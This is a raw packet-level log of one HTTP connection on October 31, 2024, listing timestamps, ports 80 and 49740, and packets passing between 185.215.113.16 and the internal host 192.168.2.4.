Oct 31, 2024 20:52:17.309601068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309606075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309612036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309617996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309631109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309650898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309655905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.309660912 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.309690952 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.388340950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388453960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388458967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388504982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388524055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388530016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388535976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388540983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388561010 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.388605118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.388621092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388631105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388647079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388653994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388659954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388670921 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.388694048 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.388721943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.388860941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388879061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388884068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388902903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.388909101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388935089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.388957977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.388958931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.388963938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389005899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389065027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389117002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389123917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389138937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389174938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389183044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389188051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389200926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389205933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389225006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389229059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389231920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389249086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389272928 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389278889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389292955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389297962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389305115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389317036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389323950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389355898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389358997 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389362097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389374018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389378071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389384031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389408112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389416933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389422894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389430046 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389461994 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.389527082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389533997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.389576912 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.428710938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428752899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428760052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428769112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.428812981 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.428828955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428834915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428841114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428884029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428884029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.428901911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428915024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428916931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.428920984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428932905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428935051 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.428942919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428949118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428961992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.428987026 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.428996086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.428997993 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429003954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429009914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429014921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429033041 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429043055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429048061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429049015 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429076910 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429092884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429179907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429184914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429202080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429207087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429212093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429218054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429224968 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429239988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429259062 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429280043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429286003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429306984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429321051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429327965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429328918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429342985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429349899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429358006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429363012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429368019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429371119 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429389954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429399967 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429429054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429430008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429434061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429465055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429617882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429661036 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429682970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429693937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429744959 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429764032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429769993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429780960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429800987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429811954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429817915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429824114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429826975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429830074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.429855108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429884911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.429992914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430051088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430052042 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430057049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430074930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430080891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430104971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430130959 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430150986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430157900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430169106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430175066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430181026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430200100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430233002 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430273056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430279016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430284977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430290937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430298090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430304050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430318117 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430330038 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430346966 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430412054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430418968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430428982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430433035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430443048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430448055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430454016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430459976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430459023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430470943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430502892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430536985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430543900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430556059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430562019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430567980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430572987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430573940 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430579901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430586100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430594921 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430608988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430620909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430625916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430627108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430649042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430655003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430661917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430689096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430721045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430727005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430732965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430742979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430747986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430761099 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430794954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430861950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430867910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430877924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430883884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430891037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430908918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430936098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.430943966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430951118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430967093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430977106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430984020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.430986881 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431010008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431022882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431029081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431031942 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431062937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431070089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431075096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431077003 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431111097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431169987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431175947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431186914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431193113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431200027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431205988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431210995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431211948 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431237936 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431252956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431299925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431307077 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431323051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431329012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431334972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431343079 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431377888 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431431055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431437016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431447983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431452990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431457996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431474924 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431483030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431488037 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431488991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431495905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431500912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431507111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431519032 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431519985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431543112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431557894 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431612015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431617975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431627989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431633949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431655884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431682110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431709051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431715012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431726933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431734085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431751966 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431773901 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431802988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431813955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431819916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431829929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431837082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431843042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431844950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431863070 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431869984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431874037 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431876898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431915998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431917906 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431921959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431932926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431937933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431953907 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431973934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.431988955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.431996107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.432001114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.432039976 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.432281017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.432286978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.432326078 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.510868073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.510970116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.510974884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.510994911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511020899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511028051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511034012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511039972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511048079 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.511084080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.511121988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511128902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511140108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511146069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511173964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.511189938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.511192083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511198997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511238098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.511406898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511413097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511424065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511459112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.511599064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511639118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.511651993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511693001 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.511785030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511790037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511801958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511807919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511812925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.511837006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.511866093 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.513283968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.513339043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.513344049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.513366938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.513375998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.513391018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.513403893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.513427019 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.513452053 CET	49740	80	192.168.2.4	185.215.113.16
